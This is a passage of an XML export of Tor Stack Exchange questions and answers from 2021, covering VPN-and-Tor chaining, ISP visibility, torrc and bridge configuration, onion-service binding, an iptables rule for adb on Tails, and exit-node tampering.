I know.&lt;/p&gt;&#xA;&lt;p&gt;One benefit from this setup is that traffic anaylsis done by Tor relays is almost impossible. Normally, both the entry and exit node are controlled by an attacker, who can correlate the two to figure out what site your IP address is visiting. However, in this case, no Tor node knows your IP address or traffic.&lt;/p&gt;&#xA;&lt;p&gt;However, if someone controls both your entry and exit VPNs, then they might be able to conduct a traffic analysis attack as well. But since I don't know which VPNs you are using, I can exactly say how likely this is.&lt;/p&gt;&#xA;&lt;p&gt;Furthermore, if your entry or exit VPN are hacked, you traffic or location could be exposed.&lt;/p&gt;&#xA;&lt;p&gt;Also, you have make sure you trust both VPNs you are using. Do you trust that they have excellent security (to protect you from hacking), won't keep logs, spy on you, or help an adversary?&lt;/p&gt;&#xA;&lt;p&gt;Additionally, you might want to consider the speed of your connection. It's probably slower with all extra VPNs.&lt;/p&gt;&#xA;&lt;p&gt;Ultimately, I don't really think that this is the best setup to be totally safe and secure, though it isn't the worst. There are definitely weak points in the connection and you might want to reevaluate your current setup.&lt;/p&gt;&#xA;&lt;p&gt;My advice: remove the final addon VPN, learn more about the security and trustworthiness of the VPN you first connect to, and ask other people about this as well. I hope this helps!&lt;/p&gt;&#xA;&lt;p&gt;Here is a good article to look at: &lt;a href=&quot;https://matt.traudt.xyz/posts/vpn-tor-not-mRikAa4h/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://matt.traudt.xyz/posts/vpn-tor-not-mRikAa4h/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Last but not least, here is what different entities know about your connection. I hope this provides you a clearer understanding of your security:&lt;/p&gt;&#xA;&lt;p&gt;Your entry VPN knows your IP address (location) and that you are connecting to the first Tor node in your Tor circuit. It cannot see your traffic.&lt;/p&gt;&#xA;&lt;p&gt;Your ISP cannot tell that you are using Tor and it cannot see your traffic.&lt;/p&gt;&#xA;&lt;p&gt;The first Tor node knows that you have connected to a VPN before accessing the Tor network. It cannot see your traffic.&lt;/p&gt;&#xA;&lt;p&gt;The second Tor node knows that you have connected to the first Tor node. It cannot see your traffic.&lt;/p&gt;&#xA;&lt;p&gt;The third Tor node knows that you have connected to the second Tor node. It cannot see your traffic. It also knows that you are connecting to a VPN after your traffic goes through the Tor network.&lt;/p&gt;&#xA;&lt;p&gt;Websites cannot see your traffic, do not know your IP address, and only know the IP address of the final VPN server.&lt;/p&gt;&#xA;&lt;p&gt;Final VPN addon server (basically a proxy): It can see the sites you are connecting to and your internet traffic. If you have installed the VPN addon using Tor, then it does not know your IP address. If by chance during any communication between you and this final VPN where your IP address can be seen, the VPN will know your location and this is dangerous.&lt;/p&gt;&#xA;&lt;p&gt;Note: if any of these entities communicates which each other, that could be an issue.&lt;/p&gt;&#xA;" OwnerUserId="31632" LastActivityDate="2021-06-09T01:43:24.007" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22449" PostTypeId="1" AcceptedAnswerId="22454" CreationDate="2021-06-09T06:14:35.490" Score="0" ViewCount="52" Body="&lt;p&gt;I noticed some old bridges and deleted them. Tor still tries to connect to them.&lt;/p&gt;&#xA;&lt;p&gt;Is there any place that tor reaches the bridge beside &lt;code&gt;etc/tor/torrc&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="32618" LastEditorUserId="32634" LastEditDate="2021-06-10T13:14:25.790" LastActivityDate="2021-07-10T17:04:30.520" Title="Tor trying to connect to a deleted bridge" Tags="|configuration|torsocks|debian|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22451" PostTypeId="2" ParentId="22445" CreationDate="2021-06-09T19:49:07.720" Score="1" Body="&lt;p&gt;&lt;strong&gt;TLDR; your ISP could find out, still they can't see what you're doing.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Your internet service provider (ISP) manages your connection to the Internet, thus receives everything you send through that connection.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Your ISP will be able to figure out that you are using Tor&lt;/strong&gt;, as you therefor will have to connect to a Tor entry node. After the Tor connection is started by TAILS, &lt;strong&gt;your traffic will be anonymous though&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;The TTL (time-to-live) contained in IP frames emitted by a system usually leaves clues to the general type of OS used (Linux / Windows / MacOS), but this should not allow for a specific association with you using TAILS.&lt;/p&gt;&#xA;&lt;p&gt;If your ISP actively monitors your traffic to find out you are running TAILS, he likely could: Not from the traffic your system forwards, but from the fact that your TTL matches that of a linux and your traffic is very light, except for the one connection to Tor.&lt;/p&gt;&#xA;&lt;p&gt;As a countermeasure, &lt;strong&gt;you could run a regular windows machine, with TAILS virtualised in a VM&lt;/strong&gt;. That way your traffic looks less suspicious, however, it includes other risks.&lt;/p&gt;&#xA;" OwnerUserId="32634" LastActivityDate="2021-06-09T19:49:07.720" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22452" PostTypeId="2" ParentId="22445" CreationDate="2021-06-10T01:43:44.273" Score="1" Body="&lt;p&gt;No, the only thing your ISP can figure out and try to block is that you're using Tor network. But - never the less - it's not how it's intended to be by design: like 10-20 years before we all have had an ISP LAN direct connectivity, but now it's mostly gone for the sake of censorship. So - the only reliable way to be truly protected &amp;quot;in a Tor way&amp;quot; is to start building home LAN's by hand again: nobody can interfere into the switch placed in the multi-flat house or a Wi-Fi between houses, if it's a p2p operated network.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-06-10T01:43:44.273" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22453" PostTypeId="2" ParentId="22447" CreationDate="2021-06-10T01:48:01.100" Score="0" Body="&lt;p&gt;Well, that looks a bit like an overkill: you can and - IMHO - you should use the tunneling right, like this:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You make every hop - both VPN's and Tor - just a routing VM&lt;/li&gt;&#xA;&lt;li&gt;You utilize the VirtualBox's HostOnly networks to avoid any data leaks without firewall rules overcomplication&lt;/li&gt;&#xA;&lt;li&gt;The last hop either runs a browser itself or it's providing a SOCKS5 proxy service with DNS for the local clients&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;All of these can be easily fit into the Raspberry Pi or a similar SBC and just be plugged in to your home LAN network and/or a router...&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-06-10T01:48:01.100" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22454" PostTypeId="2" ParentId="22449" CreationDate="2021-06-10T07:58:57.250" Score="0" Body="&lt;p&gt;If I understand you correctly, you are looking for other files containing tor configuration data.&lt;/p&gt;&#xA;&lt;p&gt;Having a look at the &lt;a href=&quot;https://2019.www.torproject.org/docs/tor-manual.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;manual&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;h2&gt;-f &lt;em&gt;FILE&lt;/em&gt;&lt;/h2&gt;&#xA;&lt;p&gt;Specify a new configuration file to contain further Tor configuration options OR pass - to make Tor read its configuration from standard input. (Default: @CONFDIR@/torrc, or $HOME/.torrc if that file is not found)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;It seems there may exist another file located in your home directory (&lt;code&gt;$HOME/.torrc&lt;/code&gt;) which could contain the faulty configuration you wish to eliminate.&lt;/p&gt;&#xA;&lt;p&gt;If you can't find this file, try searching for other files containing &lt;code&gt;torrc&lt;/code&gt; in their name : )&lt;/p&gt;&#xA;" OwnerUserId="32634" LastActivityDate="2021-06-10T07:58:57.250" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22456" PostTypeId="2" ParentId="901" CreationDate="2021-06-12T21:20:53.680" Score="0" Body="&lt;p&gt;I &lt;a href=&quot;https://mastodon.social/@qbi/106399695665876101&quot; rel=&quot;nofollow noreferrer&quot;&gt;asked&lt;/a&gt; for a solution and got multiple answers. Recent macOS systems save their &lt;code&gt;torrc&lt;/code&gt; inside the directory &lt;code&gt;~/Library/Application\ Support/TorBrowser-Data/Tor/&lt;/code&gt;. Important: Between &lt;code&gt;Application&lt;/code&gt; and &lt;code&gt;Support&lt;/code&gt; is a space.&lt;/p&gt;&#xA;&lt;p&gt;So the whole path is&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;~/Library/Application\ Support/TorBrowser-Data/Tor/torrc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="88" LastActivityDate="2021-06-12T21:20:53.680" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22457" PostTypeId="1" AcceptedAnswerId="22458" CreationDate="2021-06-13T00:42:58.643" Score="1" ViewCount="74" Body="&lt;p&gt;While hosting a hidden service, e.g. a website on port 5678 from a device with a local ip address of 123.4.5.67 and a public ip4 address of the gateway of 78.9.0.12,  I noticed that  if one is connected to the same, semi-public wifi netwerk, one is able to connect to the &amp;quot;hidden&amp;quot; website simply on the local ip address 123.4.5.67:5678.&lt;/p&gt;&#xA;&lt;p&gt;It is quite possible that random people see what the local devices, that are also connected to this wifi, are hosting on any open ports. Hence they may (accidentally) find the hidden service locally. This is assumed undesirable, hence I was wondering:&lt;/p&gt;&#xA;&lt;p&gt;Is there a way to block website access to (the website/hidden service on) port 5678 from all but tor-exit nodes on Ubuntu Server 20.04 LTS?&lt;/p&gt;&#xA;" OwnerUserId="32404" LastActivityDate="2021-06-13T22:29:07.710" Title="How to allow hidden services on a port whilst blocking the port on a local wifi?" Tags="|onion-services|blocked|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22458" PostTypeId="2" ParentId="22457" CreationDate="2021-06-13T22:29:07.710" Score="1" Body="&lt;p&gt;In general you should have a firewall that blocks all incoming connections unless you explicitly add a firewall rule to allow them. You can look into the &lt;a href=&quot;https://help.ubuntu.com/community/UFW&quot; rel=&quot;nofollow noreferrer&quot;&gt;ufw&lt;/a&gt; tool for details. As a Tor onion service does not require any incoming connections, you do not need to unblock any ports.&lt;/p&gt;&#xA;&lt;p&gt;A separate issue is that you seem to be binding your web server to all network interfaces. Instead, your web server should only bind to localhost. If you're using Apache, you probably have something like &lt;code&gt;Listen *:80&lt;/code&gt; or &lt;code&gt;Listen 0.0.0.0:80&lt;/code&gt;. You should instead only bind to localhost, which means instead using the line &lt;code&gt;Listen 127.0.0.1:80&lt;/code&gt;. When you bind a server to localhost, you can only connect to it from the same server, and not from other servers on the network.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2021-06-13T22:29:07.710" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22459" PostTypeId="1" AcceptedAnswerId="22460" CreationDate="2021-06-15T01:52:06.607" Score="0" ViewCount="242" Body="&lt;p&gt;I've tried installing Termux on my smartphone and using netcat to transfer the file but it didn't work.&lt;/p&gt;&#xA;&lt;p&gt;Is there an easier way? Or maybe I can transfer the file to an USB stick?&lt;/p&gt;&#xA;" OwnerUserId="32679" LastActivityDate="2021-06-15T23:03:09.983" Title="Transfer file from persistent storage to android" Tags="|tails|android|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22460" PostTypeId="2" ParentId="22459" CreationDate="2021-06-15T23:03:09.983" Score="0" Body="&lt;p&gt;You can access an Android device from Tails with &lt;code&gt;adb&lt;/code&gt; and a special rule for &lt;code&gt;iptables&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;iptables -I OUTPUT -d localhost -o lo -p tcp --dport 5037 -m owner --uid-owner amnesia -j ACCEPT&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Source: &lt;a href=&quot;https://roneo.org/en/android-setup-adb-tails/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://roneo.org/en/android-setup-adb-tails/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="31318" LastActivityDate="2021-06-15T23:03:09.983" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22461" PostTypeId="1" CreationDate="2021-06-16T21:40:35.133" Score="1" ViewCount="499" Body="&lt;p&gt;Lets say i'm using a vpn that have a DNS leak (and it shows my ISP ip for example), then I use the tor browser to browse the clear net (even HTTP sites, not only HTTPS) over that VPN.&lt;/p&gt;&#xA;&lt;p&gt;Does ISP know what you are browsing?&lt;/p&gt;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="32694" LastActivityDate="2021-12-26T20:06:10.477" Title="Tor over VPN with DNS leak" Tags="|tor-browser-bundle|vpn|dns|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22462" PostTypeId="1" CreationDate="2021-06-20T14:27:21.737" Score="1" ViewCount="72" Body="&lt;p&gt;I run debian 10 and have a bash script with the command &lt;code&gt;torify gpodder&lt;/code&gt; to launch gpodder and download podcasts. But some podcast hosts use cloudflare, which blocks some exit nodes but not others. In tor browser I would just open new circuit, but dont know how to do that with &lt;code&gt;torify&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;is there a way to change the exit node with &lt;code&gt;torify&lt;/code&gt;?&lt;/p&gt;&#xA;&lt;p&gt;Also, lol at the error message &amp;quot;Your post cannot be submitted at this time due to the volume of spam and abuse originating from your network. We apologize for any inconvenience. See the help center for more.&amp;quot; on the &lt;em&gt;tor&lt;/em&gt; stackexchange haha&lt;/p&gt;&#xA;" OwnerUserId="32710" LastActivityDate="2021-06-20T14:27:21.737" Title="How can I change the exit node used with torify" Tags="|torify|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22464" PostTypeId="2" ParentId="11994" CreationDate="2021-06-21T04:17:53.470" Score="8" Body="&lt;p&gt;Go to &lt;code&gt;about:config&lt;/code&gt; and set &lt;code&gt;network.proxy.allow_hijacking_localhost = false&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;This stops &lt;code&gt;http[s]://127.0.0.1&lt;/code&gt; from being proxied through Tor. But make sure to request the IP, not by &lt;code&gt;localhost&lt;/code&gt; or another hostname, as the browser my still try to DNS-resolve those through Tor and fail.&lt;/p&gt;&#xA;&lt;p&gt;Alternatively, you can set a whitelist via e.g. &lt;code&gt;network.proxy.no_proxies_on = &amp;quot;127.0.0.1,192.168.1.1&amp;quot;&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;If these measures don't work, also try to disable the NoScript extension at &lt;code&gt;about:addons&lt;/code&gt;. Finally, needless to say that tampering with your proxy and security settings should only be for testing as it may compromise your anonymity.&lt;/p&gt;&#xA;" OwnerUserId="14568" LastActivityDate="2021-06-21T04:17:53.470" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22465" PostTypeId="2" ParentId="22357" CreationDate="2021-06-21T09:02:02.190" Score="1" Body="&lt;blockquote&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;So I want to build an application that uses sockets to communicate data over a network, but I want that data to be sent over the Tor network instead.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;You could enable socks5 proxy in your &lt;code&gt;/etc/tor/torrc&lt;/code&gt; tor's config:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;SocksPort 9050&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now, simply open your socket to this port, tell socks5 proxy what you want. Ssl/no-ssl, which site/ip-address/.onion domain to get, auth/no-auth, etcetera... So, your task renamed/reshaped from &lt;code&gt;&amp;quot;How to C/Api Tor&amp;quot;&lt;/code&gt; to &lt;code&gt;&amp;quot;how to pass request via socks5 proxy on C/C++ language&amp;quot;&lt;/code&gt; which is much more older and easiest task in the world. And of-course there are thousands of code snippets over the network and stack-overflow, which are doing this on all languages in all possible ways.&lt;/p&gt;&#xA;&lt;p&gt;RFC: &lt;a href=&quot;https://www.ietf.org/rfc/rfc1928.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.ietf.org/rfc/rfc1928.txt&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="32717" LastActivityDate="2021-06-21T09:02:02.190" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22466" PostTypeId="2" ParentId="20270" CreationDate="2021-06-21T21:37:04.033" Score="0" Body="&lt;p&gt;Client knows the hidden service address which contains a public key.&#xA;Using the public key and a constant for a time period, it derives the record which is saved in DHT,&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Func(hiddenServicePublicKey, timePeriodConstant) -&amp;gt; record saved in DHT.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The same is done by hidden service operator and is uploaded to DHT with introduction points.&#xA;Client downloads the info, verifies the signature of the record using the public key and uses the introduction points.&#xA;The timeperiodConstant varies every 24 hours(I think), so new info is uploaded by the hidden service operator&lt;/p&gt;&#xA;&lt;p&gt;I am not sure if the record is encrypted or hsdir nodes can see the introduction points. However they cannot map the hidden service address to the record (unless they brute force or guess).&lt;/p&gt;&#xA;" OwnerUserId="6890" LastActivityDate="2021-06-21T21:37:04.033" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22467" PostTypeId="1" CreationDate="2021-06-22T07:47:38.303" Score="0" ViewCount="133" Body="&lt;p&gt;I'm running a TOR relay and I'm confused with the node identity keys. The secret_id_key is the identity key that was used in version 2, but now the ed25519_master_id_key is used for version 3?&lt;/p&gt;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="32115" LastEditorUserId="32115" LastEditDate="2021-06-22T07:57:27.327" LastActivityDate="2021-07-28T18:41:13.983" Title="What's the difference between 'secret_id_key' and 'ed25519_master_id_key'?" Tags="|relays|directory|node|private-key|key|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22468" PostTypeId="1" CreationDate="2021-06-22T11:08:16.637" Score="0" ViewCount="28" Body="&lt;p&gt;I have a list of more than 16,000 thousand up to date active onion domains and I'm trying to download each page with parallel requests through python with tor client as the proxy. All requests take not more than 45 minutes. But I can only download around 4000 domains. But when I try to do the same thing with one request per 5 minutes I can download all domains.&lt;/p&gt;&#xA;&lt;p&gt;Appreciate it if someone can explain the reason for this.&lt;/p&gt;&#xA;" OwnerUserId="32720" LastActivityDate="2021-06-22T11:08:16.637" Title="Tor client fails when making bulk requests in a short period of time" Tags="|tor-browser-bundle|configuration|torsocks|directory|protocol|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22469" PostTypeId="1" CreationDate="2021-06-22T13:42:21.330" Score="0" ViewCount="163" Body="&lt;p&gt;I am currently using a Feedly account without Tor to synchronize my RSS reading on multiple devices. Is there any solution to achieve this synchronization (possibly without Feedly account) over Tor?&lt;/p&gt;&#xA;" OwnerUserId="32721" LastActivityDate="2021-12-26T12:05:30.493" Title="Synchroized RSS over Tor" Tags="|anonymity|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22473" PostTypeId="2" ParentId="22430" CreationDate="2021-06-25T02:41:53.753" Score="3" Body="&lt;p&gt;There is no way short of the hypothetical attacks you mentioned to determine if a relay is excessively logging. Excessive logging is a criterion for considering a relay malicious but that doesn't mean that there's a way to verify that it is actually logging sensitive information. However, if a relay operator &lt;em&gt;openly admits&lt;/em&gt; to logging data that they shouldn't, it could result in their relay being removed from the consensus manually. We can only rely on the fact that most relays are run by honest parties.&lt;/p&gt;&#xA;" OwnerUserId="21937" LastActivityDate="2021-06-25T02:41:53.753" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22474" PostTypeId="1" CreationDate="2021-06-25T15:32:32.763" Score="2" ViewCount="81" Body="&lt;p&gt;I've come across a bunch of posts covering this, with answers ranging from &amp;quot;update tor&amp;quot; to &amp;quot;this feature got removed&amp;quot;... and none of them helped me.&lt;/p&gt;&#xA;&lt;p&gt;I run tor in alpine docker, installed from the alpine package manager.&lt;/p&gt;&#xA;&lt;p&gt;I start tor like this... &lt;code&gt;tor -f /etc/tor/torrc&lt;/code&gt;&#xA;...And my torrc looks like this...&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ExitNodes {us}&#xA;StrictNodes 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Does anyone know why this doesn't work?&lt;/p&gt;&#xA;" OwnerUserId="32746" LastActivityDate="2021-06-25T15:32:32.763" Title="I cant get ExitNodes { } working" Tags="|configuration|network-configuration|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="22475" PostTypeId="1" AcceptedAnswerId="22476" CreationDate="2021-06-28T15:02:16.587" Score="0" ViewCount="225" Body="&lt;p&gt;Can exit node tamper traffic before sending it to endpoint? I know it can see it, but the question is, can connection be spoofed, if non-encrypted protocol is used, for example usual HTTP or even TCP socket? Does Tor guarantee message integrity?&lt;/p&gt;&#xA;" OwnerUserId="29982" LastEditorUserId="29982" LastEditDate="2022-06-16T08:11:33.260" LastActivityDate="2022-06-16T08:11:33.260" Title="Can Tor connection be intercepted/tampered by exit nodes?" Tags="|security|exit-relays|attacks|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22476" PostTypeId="2" ParentId="22475" CreationDate="2021-06-28T15:25:06.103" Score="2" Body="&lt;p&gt;Yes, the exit node can inspect and tamper with the TCP traffic as it leaves the network. It's impossible for Tor to provide integrity for this traffic. You should always use secure protocols like TLS/HTTPS over Tor (and even when using the Internet outside of Tor).&lt;/p&gt;&#xA;" OwnerUserId="24966" LastEditorUserId="24966" LastEditDate="2022-01-02T20:11:31.177" LastActivityDate="2022-01-02T20:11:31.177" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22478" PostTypeId="1" CreationDate="2021-07-01T03:55:54.607" Score="0" ViewCount="33" Body="&lt;p&gt;I'm on a Mac OS. I installed Tor about a year ago. Today it went down. When I asked for a bridge, I copied it, but missed part. I tried all suggestions, finally deleted and reinstalled. Install was a success, but still won't open.&lt;/p&gt;&#xA;" OwnerUserId="32778" LastActivityDate="2021-07-01T03:55:54.607" Title="Why did Tor quit opening? I deleted, reinstalled, still won't open" Tags="|mac|connection|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="22479" PostTypeId="2" ParentId="20259" CreationDate="2021-07-01T16:53:47.330" Score="0" Body="&lt;p&gt;Well, you can easily utilize HTTP proxy from tor: it's been a while as it was added and built-in. For connecting to your server's services you can basically use anything you wish, but if you're about to have a very tunable playground for yourself - here is my advice how to build the things up:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;VirtualBox&lt;/strong&gt; or &lt;strong&gt;ProxMox&lt;/strong&gt; as a basement. If you don't need a hardware pass-through like NVidia CUDA running inside a virtual machine - use VirtualBox.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;OpenVPN&lt;/strong&gt; inside &lt;strong&gt;Tor&lt;/strong&gt; - the &amp;quot;gateway&amp;quot; VM with just Tor, OpenVPN, easyRSA and a firewall. Debian or FreeBSD - they will consume as small as 1-2Gb RAM if you'll have a middle-relay tor node or even less like 256-512Mb RAM if you have a &lt;em&gt;ClientOnly&lt;/em&gt; mode for tor. &lt;strong&gt;Important notice&lt;/strong&gt;: The only port you need to open on your router is this VM's tor ORPort! Also don't forget about setting the HS per-user access certificate for your remote client connection - it's a &lt;strong&gt;must&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Anything else&lt;/strong&gt; is located on another virtual machines, all of them do have an internal network that gateway VM provides an access to via OpenVPN hidden service.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;That's it! Fast and easy to build, secure and extendable. If you'll be upgrading to your home LAN laboratory(as I did) - just add a physical NIC to your server and your home LAN for your devices will be plugged into that particular card and it will be the replacement for the logical host-only network&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-07-01T16:53:47.330" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22480" PostTypeId="2" ParentId="20231" CreationDate="2021-07-01T18:16:58.990" Score="0" Body="&lt;p&gt;The problem is in your config - and it's clearly stated in the error message. Edit the config and remove all the lines with the external IP from your error message, so Tor will check it up automatically. You can post your config so I will be able to help you a way better. In your case there's no need for reinstall or another install - &lt;em&gt;just&lt;/em&gt; fix the config file. If you need further help - just drop me a line!&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-07-01T18:16:58.990" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22481" PostTypeId="2" ParentId="21968" CreationDate="2021-07-02T21:09:22.457" Score="0" Body="&lt;p&gt;Well, the SEO topic is a big one, and that's my approach to it since 2000:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Make a website really useful for the people, not tuned up for search bots&lt;/li&gt;&#xA;&lt;li&gt;Use all the matters possible to represent your content like  tags suggests you&lt;/li&gt;&#xA;&lt;li&gt;It's OK to make some records in HTTP headers and HTML markup both: I've never experienced the problem regarding to this, only a benefit&lt;/li&gt;&#xA;&lt;li&gt;Use microformatting!&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-07-02T21:09:22.457" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22482" PostTypeId="2" ParentId="20844" CreationDate="2021-07-02T22:25:47.123" Score="0" Body="&lt;p&gt;The answer is - &lt;strong&gt;It can't be trusted&lt;/strong&gt; Tor is a network with &lt;em&gt;just&lt;/em&gt; an alternative routing scheme, so you're up to &lt;strong&gt;yourself&lt;/strong&gt; to guard your SSL, TLS and so forth... Even more: a malicious exit nodes are catched from time to time, so - unless you're maintaining a full-scale security on your side - Tor is totally not a remedy for this&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-07-02T22:25:47.123" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22483" PostTypeId="2" ParentId="20875" CreationDate="2021-07-02T22:28:47.747" Score="0" Body="&lt;p&gt;No, on a desktop you have an ability to do so yourself. And - actually - mobile vendors are selling your tracing data so they can not be trusted either. In My Humble Opinion the &lt;strong&gt;only&lt;/strong&gt; way is to use like a Single-Board-Computer like a Raspberry Pi or an Orange Pi to make a secure gateway. But - be warned - GPS/AGPS leaks are not covered here!&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-07-02T22:28:47.747" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22485" PostTypeId="2" ParentId="21545" CreationDate="2021-07-02T23:31:43.930" Score="0" Body="&lt;p&gt;The deanonymisation process &lt;strong&gt;itself&lt;/strong&gt; has it's own pitfalls, but - basically - it's about the &lt;em&gt;end service&lt;/em&gt; you're accessing. So - if the service you're using is not a trustworthy one - like Facebook or Google, for example - no darknet will save you, including Tor. But if you're safe here - so the only feasible way to deanonymise you is a time correlation attack. Most of the true services do have a dot-onion addresses, so use them to defeat even this vector.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-07-02T23:31:43.930" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22486" PostTypeId="2" ParentId="21288" CreationDate="2021-07-03T01:02:08.463" Score="0" Body="&lt;p&gt;Tor is not like ZeroNet or IPFS, so when you're connecting to a hidden service  - basically you're connecting to the server that is &lt;em&gt;running&lt;/em&gt; a service, i.e. there's no offline cache like CloudFlare, even if your website is a fully static one. You &lt;strong&gt;have&lt;/strong&gt; to keep your server running to access it either directly or through Tor. If you have a fully static site and you need it to be online while your server is not - just migrate to the ZeroNet, it's the right spot to be for you in this case.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-07-03T01:02:08.463" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22487" PostTypeId="2" ParentId="22475" CreationDate="2021-07-03T01:03:46.877" Score="0" Body="&lt;p&gt;It highly depends on the traffic's nature. If it's a regular or unencrypted one - then the answer is yes, but if you do utilize TLS, SSL and PGP properly - the answer is no&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-07-03T01:03:46.877" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22488" PostTypeId="2" ParentId="20881" CreationDate="2021-07-03T01:07:46.340" Score="0" Body="&lt;p&gt;Well, if you achieve something - you're always paying for that. Tor provides you an alternative routing way for the cost of speed, so - even serving a static pages out of Memcached+NGinx &lt;strong&gt;will&lt;/strong&gt; pay it's toll for anonymity if the Tor routing chain is laggy. If you have to serve your fully static site fast - take a look at ZeroNet and IPFS - they're much more tailored ofr that task than Tor. Tor's primary purpose to provide &lt;em&gt;any&lt;/em&gt; kind of service anonymously, not just a websites - so that's why it's not tailored for them.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-07-03T01:07:46.340" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
